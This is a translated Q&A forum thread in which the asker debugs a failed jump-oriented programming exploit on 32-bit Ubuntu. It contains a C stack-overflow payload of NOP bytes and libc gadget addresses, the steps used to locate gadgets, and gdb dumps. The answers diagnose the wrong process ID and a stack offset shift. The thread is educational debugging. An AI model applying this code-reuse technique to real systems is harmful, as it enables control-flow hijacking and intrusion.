为什么堆栈粉碎更改返回地址,无法更改程序的控制流程?

时间:2013-08-21 00:34:16

标签: assembly x86 stack-overflow cpu-registers exploit

实际上我正在尝试编写和执行Ubuntu 12.10 32位和Intel x86架构中的跳转编程示例。我希望它在目标系统上执行的第一个小工具以POPA指令开始。我通过使用找到了它的偏移地址     objdump -D /lib/libc.so.6> Cdump.txt 来自Cdump.txt文件。然后我使用gdb运行我的易受攻击的程序,并使用以下命令找到程序的可执行段的范围:

ps ax|grep vul 

21193 pts/2    S+     0:00 gdb vul

==>查找“gdb vul”的进程号。

grep libc /proc/21193/maps

b7a4a000-b7bed000 r-xp 00000000 08:01 656054     /lib/i386-linux-gnu/libc-2.15.so

==>找出可执行程序在内存中的加载位置。

我写了我的任意指令序列和ASLR和Canary保护。这是我的简单代码,用于溢出堆栈并更改堆栈中“return”的内容以触发我的JOP序列。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
char Buff[4];
memcpy(Buff, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd5\x7a\xbb\xb7\xd6\x7a\xbb\xb7\xd8\x7a\xbb\xb7\xdb\x7a\xbb\xb7\x9c\xf6\xff\xbf\x00\x60\xfc\xb7\xcc\xf6\xff\xbf\x24\xf7\xff\xbf\xb4\xf6\xff\xbf", 52);
return;
}

我调试程序并监视堆栈内容并注册信息。每个东西都可以,直到esp到达(%ebp)+8地址,表示返回后的地址。这个4Bytes应该根据POPA指令加载edi,它按照edi,esi,ebp,esp,ebx,edx,ecx,eax的顺序加载。

所以edi应该通过这个地址= 0xB7BB7AD6加载 堆栈中的返回内容是= 0xB7BB7AD5(POPA地址)

但是在memcpy()之后它想要离开,我收到了这条消息:

Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xb7bb7ad6: Input/output error.

0xb7bb7ad5 in ?? ()

这是什么错误?为什么我不能将程序的控制流程更改为我的进程的可执行内存中的另一条指令?

请查看以下内容以获取更多详细信息:

这是堆叠中的12个顶级单词:<​​/ p>

(gdb) x /12wx $esp-20
0xbffff67c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff68c: 0xb7bb7ad5  0xb7bb7ad6  0xb7bb7ad8  0xb7bb7adb
0xbffff69c: 0xbffff69c  0xb7fc6000  0xbffff6cc  0xbffff724

并注册:

(gdb) info registers
eax            0xbffff67c   -1073744260
ecx            0xbffff6b4   -1073744204
edx            0xbffff6b0   -1073744208
ebx            0xb7fc6000   -1208197120
esp            0xbffff690   0xbffff690
ebp            0x90909090   0x90909090
esi            0x0  0
edi            0x0  0
eip            0xb7bb7ad5   0xb7bb7ad5
eflags         0x200283 [ CF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

2 个答案:

答案 0 :(得分:0)

地址0xB7BB7AD5不是您程序的代码,而是“libc-2.15.so”共享库的代码。此内存受到保护,因此您无法在此处写入。

答案 1 :(得分:0)

首先,我选择了错误的进程“gdb vul”是gdb的进程而不是vul本身。因此,基地址是错误的,我没有解决我的进程的可执行段。

其次,因为它出现在我的shell中,有16个无用的字节要写入4个字节的Buff和ebp。这是因为当我使用8个字节“\ x90”(Buff [4] + ebp)调试程序时,注入堆栈的值比它们应该的位置晚8个字节。据我所知,在Ubuntu 12.10中,编译器调用memcpy(),它会将一些值推入堆栈。这就是我的堆栈值似乎被转移的原因!但是在Ubuntu 12.04中,编译器不调用memcpy()并且它在代码本身中实现它。因此,覆盖堆栈的值处于其确切位置而没有任何移位。